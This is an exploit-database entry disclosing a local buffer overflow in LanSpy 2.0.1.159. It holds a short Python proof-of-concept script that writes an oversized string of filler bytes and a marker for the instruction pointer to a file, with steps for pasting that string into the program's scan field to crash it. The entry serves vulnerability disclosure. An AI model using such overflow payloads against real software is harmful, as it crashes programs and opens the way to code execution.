LanSpy 2.0.1.159 - Local Buffer Overflow (PoC)

EDB-ID:
45968

CVE:
N/A

EDB Verified: ×

Author:
GIONATHAN REALE

Type:
DOS

Exploit: / {}

Platform:
WINDOWS

Date:
2018-12-11

Vulnerable App:

```
# Exploit Title: LanSpy 2.0.1.159 - Local BoF (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-12-07
# Homepage: https://lizardsystems.com
# Software Link: https://lizardsystems.com/download/lanspy_setup.exe
# Tested Version: 2.0.1.159
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt" just copy the text inside "exploit.txt"
# and start the program. In the new window paste the content of
# "exploit.txt" into the scan field. Click the start button.

#!/usr/bin/python

buffer = "A" * 688

eip = "B" * 4

payload = buffer + eip
try:
    f=open("exploit.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: Denial of Service (DoS), Buffer Overflow

Advisory/Source: Link

Databases

Links

Sites

Solutions